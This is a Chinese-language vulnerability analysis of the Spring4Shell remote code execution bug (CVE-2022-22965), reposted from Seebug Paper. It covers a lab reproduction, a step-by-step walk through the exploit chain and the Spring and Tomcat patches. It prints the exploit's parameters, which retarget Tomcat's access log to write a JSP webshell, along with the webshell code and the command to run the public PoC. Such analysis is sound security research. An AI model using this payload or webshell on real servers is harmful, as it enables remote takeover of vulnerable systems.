

Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考
source link: https://paper.seebug.org/1877/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:麦兜
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。
一、前置知识
1.1 SpringMVC参数绑定
为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller
方法的参数,自动完成类型转换和赋值。之后,Controller
方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest
中获取请求数据以及类型转换。下面是一个简单的示例:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
当请求为/addUser?name=test&department.name=SEC
时,public String addUser(User user)
中的user
参数内容如下:
可以看到,name
自动绑定到了user
参数的name
属性上,department.name
自动绑定到了user
参数的department
属性的name
属性上。
注意department.name
这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name
的绑定是Spring通过如下的调用链实现的:
User.getDepartment()
Department.setName()
假设请求参数名为foo.bar.baz.qux
,对应Controller
方法入参为Param
,则有以下的调用链:
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)
。
1.2 Java Bean PropertyDescriptor
PropertyDescriptor
是JDK自带的java.beans
包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到,PropertyDescriptor
实际上就是Java Bean的属性和对应get/set方法的集合。
1.3 Spring BeanWrapperImpl
在Spring中,BeanWrapper
接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl
类是BeanWrapper
接口的默认实现,BeanWrapperImpl.wrappedObject
属性即为被包装的Bean对象,BeanWrapperImpl
对Bean的属性访问和设置最终调用的是PropertyDescriptor
。
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);
System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");
System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到,通过BeanWrapperImpl
可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor
要简单很多。
1.4 Tomcat AccessLogValve
和 access_log
Tomcat的Valve
用于处理请求和响应,通过组合了多个Valve
的Pipeline
,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve
用来记录访问日志access_log。Tomcat的server.xml
中默认配置了AccessLogValve
,所有部署在Tomcat中的Web应用均会执行该Valve
,内容如下:
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
下面列出配置中出现的几个重要属性:
- directory:access_log文件输出目录。
- prefix:access_log文件名前缀。
- pattern:access_log文件内容格式。
- suffix:access_log文件名后缀。
- fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd
。
二、漏洞复现
2.1 复现环境
- 操作系统:Ubuntu 18
- JDK:11.0.14
- Tomcat:9.0.60
- SpringBoot:2.6.3
2.2 复现过程
- 创建一个maven项目,pom.xml内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
- 项目中添加如下代码,作为SpringBoot的启动类:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}
public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}
-
将章节
1.1 SpringMVC参数绑定
中的User
类和UserController
类添加到项目中。 -
执行maven打包命令,将项目打包为war包,命令如下:
mvn clean package
-
将项目中target目录里打包生成的
CVE-2022-22965-0.0.1-SNAPSHOT.war
,复制到Tomcat的webapps
目录下,并启动Tomcat。 -
从 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
- 浏览器中访问
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator
,复现漏洞。
三、漏洞分析
3.1 POC分析
我们从POC入手进行分析。通过对POC中的data
URL解码后可以拆分成如下5对参数。
3.1.1 pattern
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
- 参数值:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()
那实际运行过程中的调用链是怎样的呢?SomeClass
是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)
上设置断点。
经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor
第814行,getPropertyAccessorForPropertyPath(String)
方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern
的递归解析,设置整个调用链。
我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。
第一轮迭代
进入getPropertyAccessorForPropertyPath(String)
方法前:
- this
:User
的BeanWrapperImpl
包装实例
- propertyPath
:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedPath
:module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedProperty
:class
,即本轮迭代需要解析的嵌套参数
进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl
第308行,BeanPropertyHandler.getValue()
方法中。可以看到class
嵌套参数最终通过反射调用User
的父类java.lang.Object.getClass()
,获得返回java.lang.Class
实例。
getPropertyAccessorForPropertyPath(String)
方法返回后:
- this
:User
的BeanWrapperImpl
包装实例
- propertyPath
:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedPath
:module.classLoader.resources.context.parent.pipeline.first.pattern
,作为下一轮迭代的propertyPath
- nestedProperty
:class
,即本轮迭代需要解析的嵌套参数
- nestedPa
:java.lang.Class
的BeanWrapperImpl
包装实例,作为下一轮迭代的this
经过第一轮迭代,我们可以得出第一层调用链:
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现
第二轮迭代
module
嵌套参数最终通过反射调用java.lang.Class.getModule()
,获得返回java.lang.Module
实例。
经过第二轮迭代,我们可以得出第二层调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现
第三轮迭代
classLoader
嵌套参数最终通过反射调用java.lang.Module.getClassLoader()
,获得返回org.apache.catalina.loader.ParallelWebappClassLoader
实例。
经过第三轮迭代,我们可以得出第三层调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现
接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到,pattern
参数最终对应AccessLogValve.setPattern()
,即将AccessLogValve
的pattern
属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
,也就是access_log的文件内容格式。
我们再来看pattern
参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve
的父类AbstractAccessLogValve
的源码,可以找到相关的文档:
即通过AccessLogValve
输出的日志中可以通过形如%{param}i
等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。
结合poc.py中headers
变量内容:
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
最终可以得到AccessLogValve
输出的日志实际内容如下(已格式化):
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。
3.1.2 suffix
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
- 参数值:
.jsp
按照pattern
参数相同的调试方法,suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即access_log的文件名后缀。
3.1.3 directory
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.directory
- 参数值:
webapps/ROOT
按照pattern
参数相同的调试方法,directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即access_log的文件输出目录。
这里提下webapps/ROOT
目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/
根目录访问。
3.1.4 prefix
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.prefix
- 参数值:
tomcatwar
按照pattern
参数相同的调试方法,prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即access_log的文件名前缀。
3.1.5 fileDateFormat
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
- 参数值:空
按照pattern
参数相同的调试方法,fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即access_log的文件名不包含日期。
3.1.5 总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve
的属性,让Tomcat在webapps/ROOT
目录输出定制的“访问日志”tomcatwar.jsp
,该“访问日志”实际上为一个JSP webshell。
在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。
3.2 漏洞利用关键点
3.2.1 关键点一:Web应用部署方式
从java.lang.Module
到org.apache.catalina.loader.ParallelWebappClassLoader
,是将调用链转移到Tomcat,并最终利用AccessLogValve
输出webshell的关键。
ParallelWebappClassLoader
在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader
嵌套参数被解析为什么,如下图:
可以看到,使用SpringBoot可执行jar包的方式运行,classLoader
嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,查看其源码,没有getResources()
方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
3.2.2 关键点二:JDK版本
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
调用的过程中,实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults
缓存并返回Java Bean中可以被BeanWrapperImpl
使用的PropertyDescriptor
。在CachedIntrospectionResults
第289行构造方法中:
该行的意思是:当Bean的类型为java.lang.Class
时,不返回classLoader
和protectionDomain
的PropertyDescriptor
。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults
缓存的PropertyDescriptor
进行构建:
不返回,也就意味着class.classLoader...
这种嵌套参数走不通,即形如下方的调用链:
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......
这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class
中增加了module
属性和对应的getModule()
方法,自然就能通过如下调用链绕过判断:
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
......
这就是为什么本漏洞利用条件之二,JDK>=1.9。
四、补丁分析
4.1 Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。
进入该提交,可以看到对CachedIntrospectionResults
构造函数中Java Bean的PropertyDescriptor
的过滤条件被修改了:当Java Bean的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符。在章节3.2.2 关键点二:JDK版本
中,利用java.lang.Class.getModule()
的链路就走不通了。
4.2 Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。
进入该提交,可以看到对啊
的返回值做了修改,直接返回null
。a
即ParallelWebappClassLoader
的父类,在章节3.2.1 关键点一:Web应用部署方式
中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
的链路就走不通了。
通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。
与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。
在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。
本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....
合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1877/
Recommend
-
17
Firefox 31~34远程命令执行漏洞的分析 phith0n
-
13
对华为HG532远程命令执行漏洞的新探索 2018-01-05 2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由...
-
8
最近洞比较多,很难抽出时间整理,这边先整理完一篇,其他洞慢慢补。 ps:感觉今年的趋势就是pre auth + 命令执行/文件上传/代码执行啊… 0x01 漏洞概述F5 BIG-IP在今年3月补丁日中修复了CVE-2021-22986,未经身份验证的攻...
-
7
一:漏洞简介Spring Data REST是Spring Data项目的一部分,可以在Spring Data存储库之上构建超媒体驱动的REST Web服务。Spring Data REST存在远程代码执行漏洞,攻击者通过构造恶意的PATCH请求提交给spring-data-rest服务器,使用特制的JSON...
-
7
Spring Web Flow 远程代码执行漏洞分析 Posted on Jun 13, 2017 By yaof
-
8
wordpress 4.6远程命令执行漏洞分析 Posted on Jun 26, 2017 By yaof
-
6
OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】 ...
-
5
CVE-2021-40444-Microsoft MSHTML 远程命令执行漏洞分析(三) 53分钟之前 2022年06月09日...
-
9
CVE-2021-40444-Microsoft MSHTML 远程命令执行漏洞分析(二) 1小时之前 2022年06月09日
-
11
CVE-2021-40444-Microsoft MSHTML 远程命令执行漏洞分析(一) 2小时之前 2022年06月09日
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK